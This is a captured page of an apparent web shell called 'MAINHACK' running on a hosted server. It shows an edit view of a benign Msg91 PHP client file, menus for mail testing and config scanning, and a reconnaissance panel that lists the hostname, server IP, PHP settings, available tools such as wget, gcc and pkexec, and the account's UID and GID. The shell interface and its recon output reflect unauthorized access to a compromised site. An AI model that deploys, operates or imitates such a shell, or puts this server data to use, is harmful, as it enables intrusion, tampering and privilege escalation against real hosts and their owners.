[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Client.php
<?php namespace Craftsys\Msg91; use Craftsys\Msg91\OTP\OTPService; use Craftsys\Msg91\SMS\SMSService; use GuzzleHttp\Client as GuzzleHttpClient; /** * The Msg91 Client. This is responsible for all the interactions with * the msg91 apis. */ class Client { /** * Client's configuration * @var \Craftsys\Msg91\Config */ protected $config; /** * Http Client for sending requests * @var \GuzzleHttp\Client; */ protected $httpClient; /** * Construct a new Msg91 Client instance * * @param array|null $config * @param \GuzzleHttp\Client $httpClient * @return void */ public function __construct($config = null, GuzzleHttpClient $httpClient = null) { $this->httpClient = $httpClient; $this->config = new Config($config); } /** * Return the configuration * @return \Craftsys\Msg91\Config */ public function getConfig() { return $this->config; } /** * Set the configuration * @param array|null $config * @return $this */ public function setConfig($config = null) { $this->config = new Config($config); return $this; } /** * Set the http client */ public function setHttpClient(GuzzleHttpClient $httpClient): self { $this->httpClient = $httpClient; return $this; } /** * Get the http client */ public function getHttpClient(): GuzzleHttpClient { return $this->httpClient ?: new GuzzleHttpClient(); } /** * Access to OPT services * * @param mixed $payload - initial payload for request */ public function otp($payload = null): OTPService { return new OTPService($this, $payload); } /** * Access to SMS services * * @param mixed $payload - initial payload for request */ public function sms($payload = null): SMSService { return new SMSService($this, $payload); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285